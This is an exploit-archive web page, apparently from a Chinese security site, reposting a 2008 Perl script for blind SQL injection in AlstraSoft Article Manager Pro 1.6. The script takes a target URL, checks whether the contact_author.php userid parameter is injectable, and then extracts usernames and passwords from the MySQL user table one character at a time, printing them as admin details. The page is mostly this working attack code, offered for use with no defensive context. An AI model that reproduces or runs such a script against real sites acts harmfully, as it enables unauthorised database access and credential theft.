首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit
来源:GoLd_M Mahmood_ali Tryag.cc 作者:GoLd_M 发布时间:2008-07-18  
#/usr/bin/perl
#|+| Author: GoLd_M
#--//-->
# -- AlstraSoft Article Manager Pro  Blind SQL Injection Exploit --
#--//--> Exploit :
use strict;
use LWP::Simple;

print "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-\n";
print "-    AlstraSoft Article Manager Pro  Blind SQL Injection Exploit   -\n";
print "                     GoLd_M Mahmood_ali Tryag.cc/cc                 \n";
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n";

print "\nEnter URL (ie: http://server.com): ";
chomp(my $url=<STDIN>);

if(inject_test($url)) {
print "Injecting.. Please Wait this could take several minutes..\n\n";
my $details = blind($url);
print "Exploit Success! Admin Details: ".$details;
exit;
}

sub blind {

my $url    = shift;
my $res    = undef;
my $chr    = 48;
my $substr = 1;
my $done   = 1;

while($done) {
my $content = get($url."/contact_author.php?userid=1)  and ascii(substring((SELECT CONCAT(username,0x3a,password,0x5E) FROM
mysql.user),".$substr.",1))=".$chr."/*");

if($content =~ /Previous/ && $chr == 94) { $done = 0; }
elsif($content =~ /Previous/) { $res .= chr($chr); $substr++; $chr = 48; }
else { $chr++; }
}
return $res;
}

sub inject_test {

my $url     = shift;
my $true    = get($url."/contact_author.php?userid=1) and 1=1 /*");
my $false   = get($url."/contact_author.php?userid=1) and 1=2 /*");

if($true =~ /Previous/ && $false !~ /Previous/) {
print "\nTarget Site Vulnerable!\n\n";
return 1;
} else { print "\nTarget Site Not Vulnerable! Exiting..\n"; exit; }
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PPMate PPMedia Class ActiveX C
·Apache mod_jk 1.2.19 Remote Bu
·Bea Weblogic Apache Connector
·Oracle Internet Directory 10.1
·PHPizabi 0.848b C1 HFP1 Remote
·DigiLeave 1.2 (info_book.asp b
·Document Imaging SDK 10.95 Act
·HRS Multi (picture_pic_bv.asp
·WinRemotePC Full+Lite 2008 r.2
·IntelliTamper 2.07 (map file)
·Galatolo Web Manager 1.3a <= X
·MojoClassifieds 2.0 Remote Bli
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved